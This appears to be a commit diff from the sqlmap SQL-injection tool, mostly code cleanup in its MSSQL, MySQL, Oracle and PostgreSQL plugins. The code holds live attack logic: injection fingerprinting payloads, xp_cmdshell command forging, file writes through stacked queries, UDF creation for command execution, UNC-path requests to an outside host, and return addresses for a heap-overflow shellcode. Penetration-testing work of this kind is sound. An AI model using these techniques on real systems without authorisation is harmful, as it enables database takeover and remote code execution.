sqlmap 0.8-rc3: Merge from Miroslav Stampar's branch fixing a bug when verbosity > 2, another major bug with urlencoding/urldecoding of POST data and Cookies, adding --drop-set-cookie option, implementing support to automatically decode gzip and deflate HTTP responses, support for Google dork page result (--gpage) and a minor code cleanup.

This commit is contained in:
Bernardo Damele
2010-01-02 02:02:12 +00:00
parent d55175a340
commit ce022a3b6e
62 changed files with 567 additions and 1026 deletions

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import binascii
import os
import time
@@ -71,7 +69,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
unescaper.setUnescape(MSSQLServerMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
@@ -84,7 +81,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
index = expression[firstIndex:].find("'")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression)
lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex]
@@ -103,7 +100,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return expression
@staticmethod
def escape(expression):
while True:
@@ -115,7 +111,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
index = expression[firstIndex:].find("))")
if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression)
lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex]
@@ -128,9 +124,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return expression
def getFingerprint(self):
value = ""
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp:
@@ -142,23 +137,23 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
blank = " " * 15
value += "active fingerprint: %s" % actVer
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
release = kb.bannerFp["dbmsRelease"]
version = kb.bannerFp["dbmsVersion"]
release = kb.bannerFp["dbmsRelease"]
version = kb.bannerFp["dbmsVersion"]
servicepack = kb.bannerFp["dbmsServicePack"]
if release and version and servicepack:
banVer = "Microsoft SQL Server %s " % release
banVer = "Microsoft SQL Server %s " % release
banVer += "Service Pack %s " % servicepack
banVer += "version %s" % version
@@ -171,7 +166,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return value
def checkDbms(self):
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
@@ -189,29 +183,29 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
result = Request.queryPage(payload)
if result == True:
if result:
infoMsg = "confirming Microsoft SQL Server"
logger.info(infoMsg)
for version in ( 0, 5, 8 ):
for version in (0, 5, 8):
randInt = randomInt()
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
payload = agent.fullPayload(query)
result = Request.queryPage(payload)
if result is True:
if result:
if version == 8:
kb.dbmsVersion = [ "2008" ]
kb.dbmsVersion = ["2008"]
break
elif version == 5:
kb.dbmsVersion = [ "2005" ]
kb.dbmsVersion = ["2005"]
break
elif version == 0:
kb.dbmsVersion = [ "2000" ]
kb.dbmsVersion = ["2000"]
break
@@ -220,8 +214,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
payload = agent.fullPayload(query)
result = Request.queryPage(payload)
if result == True:
kb.dbmsVersion = [ "7.0" ]
if result:
kb.dbmsVersion = ["7.0"]
break
@@ -241,7 +235,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return False
def checkDbmsOs(self, detailed=False):
if kb.os and kb.osVersion and kb.osSP:
return
@@ -249,7 +242,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if not kb.os:
kb.os = "Windows"
if detailed == False:
if not detailed:
return
infoMsg = "fingerprinting the back-end DBMS operating system "
@@ -261,14 +254,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
versions = {
"2003": ( "5.2", ( 2, 1 ) ),
#"2003": ( "6.0", ( 2, 1 ) ),
"2008": ( "7.0", ( 1, ) ),
"2000": ( "5.0", ( 4, 3, 2, 1 ) ),
"XP": ( "5.1", ( 2, 1 ) ),
"NT": ( "4.0", ( 6, 5, 4, 3, 2, 1 ) )
}
versions = {"2003": ("5.2", (2, 1)),
#"2003": ("6.0", (2,1)),
"2008": ("7.0", (1,)),
"2000": ("5.0", (4, 3, 2, 1)),
"XP": ("5.1", (2, 1)),
"NT": ("4.0", (6, 5, 4, 3, 2, 1))}
# Get back-end DBMS underlying operating system version
for version, data in versions.items():
@@ -320,7 +311,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
self.cleanup(onlyFileTbl=True)
def getPrivileges(self):
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
warnMsg += "database users privileges"
@@ -328,7 +318,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return {}
def getTables(self):
infoMsg = "fetching tables"
if conf.db:
@@ -399,16 +388,14 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException, errMsg
raise sqlmapNoneDataException(errMsg)
return kb.data.cachedTables
def unionReadFile(self, rFile):
errMsg = "Microsoft SQL Server does not support file reading "
errMsg += "with UNION query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
raise sqlmapUnsupportedFeatureException(errMsg)
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
@@ -479,7 +466,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException, errMsg
raise sqlmapNoneDataException(errMsg)
indexRange = getRange(count)
@@ -491,12 +478,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "Microsoft SQL Server does not support file upload with "
errMsg += "UNION query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
raise sqlmapUnsupportedFeatureException(errMsg)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
# NOTE: this is needed here because we use xp_cmdshell extended
@@ -525,11 +510,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
logger.debug("moving binary file %s to %s" % (sFile, dFile))
commands = (
"cd %s" % tmpPath,
"ren %s %s" % (chunkName, dFileName),
"move /Y %s %s" % (dFileName, dFile)
)
commands = ("cd %s" % tmpPath,
"ren %s %s" % (chunkName, dFileName),
"move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
@@ -545,7 +528,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
counter = 1
for i in range(0, wFileSize, debugSize):
wFileChunk = wFileContent[i:i+debugSize]
wFileChunk = wFileContent[i:i + debugSize]
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
if i == 0:
@@ -558,11 +541,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
logger.debug(infoMsg)
commands = (
"cd %s" % tmpPath,
commands = ("cd %s" % tmpPath,
copyCmd,
"del /F %s" % chunkName
)
"del /F %s" % chunkName)
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
@@ -576,24 +557,20 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
logger.debug("moving binary file %s to %s" % (sFile, dFile))
commands = (
"cd %s" % tmpPath,
"move /Y %s %s" % (dFileName, dFile)
)
commands = ("cd %s" % tmpPath,
"move /Y %s %s" % (dFileName, dFile))
complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd)
if confirm == True:
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
def uncPathRequest(self):
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
def spHeapOverflow(self):
"""
References:
@@ -603,19 +580,19 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
returns = {
# 2003 Service Pack 0
"2003-0": ( "" ),
"2003-0": (""),
# 2003 Service Pack 1
"2003-1": ( "CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
"2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 12/2008
#"2003-2": ( "CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
#"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 05/2009
"2003-2": ( "CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)" )
"2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)")
# 2003 Service Pack 2 updated at 09/2009
#"2003-2": ( "CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)" ),
#"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"),
}
addrs = None
@@ -633,7 +610,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
errMsg += "overflow because it does not have a valid return "
errMsg += "code for the underlying operating system (Windows "
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
raise sqlmapUnsupportedFeatureException, errMsg
raise sqlmapUnsupportedFeatureException(errMsg)
shellcodeChar = ""
hexStr = binascii.hexlify(self.shellcodeString[:-1])

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
@@ -54,7 +52,6 @@ from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines MySQL methods
@@ -77,7 +74,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
unescaper.setUnescape(MySQLMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
@@ -111,7 +107,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return expression
@staticmethod
def escape(expression):
while True:
@@ -135,8 +130,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
expression = expression.replace(old, escaped)
return expression
def __commentCheck(self):
infoMsg = "executing MySQL comment injection fingerprint"
logger.info(infoMsg)
@@ -146,20 +140,20 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result != True:
if not result:
warnMsg = "unable to perform MySQL comment injection"
logger.warn(warnMsg)
return None
# MySQL valid versions updated on 05/2009
# MySQL valid versions updated on 12/2009
versions = (
(32200, 32233), # MySQL 3.22
(32300, 32359), # MySQL 3.23
(40000, 40031), # MySQL 4.0
(40100, 40122), # MySQL 4.1
(50000, 50077), # MySQL 5.0
(50100, 50134), # MySQL 5.1
(50000, 50089), # MySQL 5.0
(50100, 50141), # MySQL 5.1
(50400, 50401), # MySQL 5.4
(60000, 60010), # MySQL 6.0
)
@@ -175,7 +169,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
if result == True:
if result:
if not prevVer:
prevVer = version
@@ -192,7 +186,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return None
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
@@ -237,7 +230,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return value
def checkDbms(self):
"""
References for fingerprint:
@@ -266,14 +258,14 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
result = Request.queryPage(payload)
if result == True:
if result:
infoMsg = "confirming MySQL"
logger.info(infoMsg)
payload = agent.fullPayload(" AND ISNULL(1/0)")
result = Request.queryPage(payload)
if result != True:
if not result:
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
@@ -352,8 +344,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
logger.warn(warnMsg)
return False
def checkDbmsOs(self, detailed=False):
if kb.os:
return
@@ -361,7 +352,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text")
self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
@@ -375,8 +366,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def unionReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
@@ -384,13 +374,12 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
return result
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.getRemoteTempPath()
tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True))
@@ -426,8 +415,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
logger.debug("encoding file to its hexadecimal string value")
@@ -455,18 +443,17 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
conf.paramFalseCond = oldParamFalseCond
if confirm == True:
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
debugMsg = "creating a support table to write the hexadecimal "
debugMsg += "encoded file to"
logger.debug(debugMsg)
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
logger.debug("encoding file to its hexadecimal string value")
logger.debug("encoding file to its hexadecimal string value")
fcEncodedList = self.fileEncode(wFile, "hex", False)
debugMsg = "forging SQL statements to write the hexadecimal "
@@ -476,7 +463,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the hexadecimal encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
@@ -486,51 +473,50 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
if confirm == True:
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
def udfSetRemotePath(self):
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
# On Windows
# On Windows
if kb.os == "Windows":
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
if banVer >= "5.1.19":
if self.__basedir is None:
logger.info("retrieving MySQL base directory absolute path")
logger.info("retrieving MySQL base directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
self.__basedir = inject.getValue("SELECT @@basedir")
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
kb.os = "Windows"
kb.os = "Windows"
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else:
#logger.debug("retrieving MySQL data directory absolute path")
#logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
#self.__datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
self.__datadir = "."
self.__datadir = "."
self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
if re.search("[\w]\:\/", self.__datadir, re.I):
kb.os = "Windows"
kb.os = "Windows"
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
@@ -539,25 +525,22 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
# The SO can be in either /lib, /usr/lib or one of the
# paths specified in /etc/ld.so.conf file, none of these
# paths are writable by mysql user by default
# TODO: test with plugins folder on MySQL >= 5.1.19
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
ret = inpRet["return"]
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def udfInjectCmd(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
@@ -571,10 +554,9 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
self.udfInjectCore(self.sysUdfs)
self.envInitialized = True
def uncPathRequest(self):
if kb.stackedTest == False:
if not kb.stackedTest:
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
@@ -48,13 +46,11 @@ from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Oracle methods
"""
def __init__(self):
self.excludeDbsList = ORACLE_SYSTEM_DBS
@@ -64,7 +60,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
unescaper.setUnescape(OracleMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
@@ -96,7 +91,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return expression
@staticmethod
def escape(expression):
while True:
@@ -121,7 +115,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return expression
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
@@ -157,7 +150,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return value
def checkDbms(self):
if conf.dbms in ORACLE_ALIASES:
setDbms("Oracle")
@@ -173,14 +165,14 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
result = Request.queryPage(payload)
if result == True:
if result:
logMsg = "confirming Oracle"
logger.info(logMsg)
payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
result = Request.queryPage(payload)
if result != True:
if not result:
warnMsg = "the back-end DMBS is not Oracle"
logger.warn(warnMsg)
@@ -212,7 +204,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return False
def forceDbmsEnum(self):
if conf.db:
conf.db = conf.db.upper()
@@ -228,44 +219,37 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
if conf.tbl:
conf.tbl = conf.tbl.upper()
def getDbs(self):
warnMsg = "on Oracle it is not possible to enumerate databases"
logger.warn(warnMsg)
return []
def readFile(self, rFile):
errMsg = "File system read access not yet implemented for "
errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
errMsg = "File system write access not yet implemented for "
errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osCmd(self):
errMsg = "Operating system command execution functionality not "
errMsg += "yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osShell(self):
errMsg = "Operating system shell functionality not yet "
errMsg += "implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osPwn(self):
errMsg = "Operating system out-of-band control functionality "
errMsg += "not yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osSmb(self):
errMsg = "One click operating system out-of-band control "
errMsg += "functionality not yet implemented for Oracle"

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
@@ -84,7 +82,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
unescaper.setUnescape(PostgreSQLMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
